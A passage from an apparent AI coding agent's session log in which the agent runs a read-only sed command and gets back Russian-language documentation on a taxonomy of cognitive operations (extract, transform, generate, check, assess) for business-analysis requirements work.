\"req_011CfXMsq7AkdygFi2e9b5YN\",\n[2026-09-29T07:47:03.083Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:03.083Z] [INFO]     \"toolu_01AX6yf6qCt2bCdQEP7puaGn\": {\n[2026-09-29T07:47:03.083Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; sed -n 20,45p ba-meta-model/operation-taxonomy/00-introduction.md; sed -n 51,75p ba-meta-model/operation-taxonomy/10-theory.md | cut -c1-400; sed -n 225,235p ba-meta-model/operation-taxonomy/20-taxonomy.md\",\n[2026-09-29T07:47:03.083Z] [INFO]       \"description\": \"Read the five cognitive classes definition\"\n[2026-09-29T07:47:03.083Z] [INFO]     }\n[2026-09-29T07:47:03.083Z] [INFO]   }\n[2026-09-29T07:47:03.083Z] [INFO] }\n[2026-09-29T07:47:05.232Z] [INFO] {\n[2026-09-29T07:47:05.232Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"message\": {\n[2026-09-29T07:47:05.232Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:05.232Z] [INFO]     \"content\": [\n[2026-09-29T07:47:05.232Z] [INFO]       {\n[2026-09-29T07:47:05.232Z] [INFO]         \"tool_use_id\": \"toolu_01AX6yf6qCt2bCdQEP7puaGn\",\n[2026-09-29T07:47:05.232Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:05.232Z] [INFO]         \"content\": \"## BLUF\\n\\n1. \u041f\u0440\u0435\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\u00bb \u2014 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0431\u043e\u0442\u044b**:\\n   \u0441\u0435\u043c\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430, \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u0437\\n   \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n   (`D3`, `D4`,\\n   [\u0444\u0430\u043a\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md)).\\n2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\n   \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435** \u0441\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0432\u0445\u043e\u0434\u0430 \u0438 \u0432\u044b\u0445\u043e\u0434\u0430, \u043a\u0430\u043a \u0442\u0440\u0435\u0431\u0443\u0435\u0442 issue #571:\\n   \u00ab\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\u00bb, \u00ab\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb, \u0430 \u043d\u0435 \u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c\u00bb \u0438 \u043d\u0435\\n   \u00ab\u043d\u0430\u0436\u0430\u0442\u044c\u00bb.\\n3. \u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438 `OA-1`\u2013`OA-6`, \u0430 \u043d\u0435\\n   \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0430. \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435: \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n4. \u0412\u0441\u0451, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u2014 **\u043d\u0430\u0432\u044b\u043a (\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441)**\\n   \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0420\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\\n   \u0442\u0435\u0441\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u044f.\\n5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\n   \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n   \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 (`T-2`).\\n6. \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 **33 \u043d\u0430\u0432\u044b\u043a\u043e\u0432** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u041d\u0430\u0432\u044b\u043a \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c (`EX-4`).\\n7. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043e\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f:\\n   \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u043e\u0446\u0435\u043d\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441\u0445\u0435\u043c\u043e\u0439, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f.\\n8. \u041c\u0438\u043a\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (\u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u00bb, \u00ab\u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb) \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\n\\n\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n\u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0432 \u0432\u044b\u0445\u043e\u0434\u0435. \u042d\u0442\u043e \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u041e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 | \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e | \u0420\u0438\u0441\u043a |\\n| --- | --- | --- | --- |\\n| `extract` \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\u0437 \u0432\u0445\u043e\u0434\u0430; \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f | `G6` \u0432\u043d\u0435\u0448\u043d\u044f\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 |\\n| `transform` \u2014 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0438\u043b\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u043d\u0435 \u0441\u043c\u044b\u0441\u043b | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| `check` \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0432\u0445\u043e\u0434\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 + `G6` \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432, \u0432\u044b\u0440\u0430\u0437\u0438\u043c\u044b\u0445 \u043a\u043e\u0434\u043e\u043c | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043f\u044f\u0442\u044c, \u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435.** \u041a\u043b\u0430\u0441\u0441 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\\n\u043c\u0435\u043d\u044f\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. `transform` \u0438 `extract` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u043a\u043e\u0439 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u0430 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u0445\u0435\u043c\u043e\u0439.\\n`check` \u0438 `assess` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\\n\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u0432\u044b\u0431\u043e\u0440 \u2014 \u043d\u0430 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043b\u0430\u0441\u0441, \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0432\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044e \u043d\u0435 \u0432\u043d\u043e\u0441\u0438\u0442\u0441\u044f (Anti-Inflation).\\n\\n## 4. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u0451\u0440\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0439. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430.\\n\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f (`LG-1`,\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n\\n**\u0427\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u0440\u0435\u0435\u0441\u0442\u0440\u0430.** \u041d\u0438 \u043e\u0434\u043d\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043e \u0431\u0435\u0437 \u0437\u0430\u043c\u0435\u043d\u044b, \u0438 \u043d\u0438\\n\u043e\u0434\u043d\u043e \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c: \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\n`D4`, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\\n\\n## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\\n- \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\",\n[2026-09-29T07:47:05.232Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:05.232Z] [INFO]       }\n[2026-09-29T07:47:05.232Z] [INFO]     ]\n[2026-09-29T07:47:05.232Z] [INFO]   },\n[2026-09-29T07:47:05.232Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:05.232Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"uuid\": \"411ac8a3-e0e9-429c-a144-50ed5ee0231d\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:05.222Z\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:05.232Z] [INFO]     \"stdout\": \"## BLUF\\n\\n1. \u041f\u0440\u0435\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\u00bb \u2014 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0431\u043e\u0442\u044b**:\\n   \u0441\u0435\u043c\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430, \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u0437\\n   \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n   (`D3`, `D4`,\\n   [\u0444\u0430\u043a\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md)).\\n2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\n   \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435** \u0441\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0432\u0445\u043e\u0434\u0430 \u0438 \u0432\u044b\u0445\u043e\u0434\u0430, \u043a\u0430\u043a \u0442\u0440\u0435\u0431\u0443\u0435\u0442 issue #571:\\n   \u00ab\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\u00bb, \u00ab\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb, \u0430 \u043d\u0435 \u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c\u00bb \u0438 \u043d\u0435\\n   \u00ab\u043d\u0430\u0436\u0430\u0442\u044c\u00bb.\\n3. \u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438 `OA-1`\u2013`OA-6`, \u0430 \u043d\u0435\\n   \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0430. \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435: \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n4. \u0412\u0441\u0451, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u2014 **\u043d\u0430\u0432\u044b\u043a (\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441)**\\n   \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0420\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\\n   \u0442\u0435\u0441\u0442\u043e\u043c 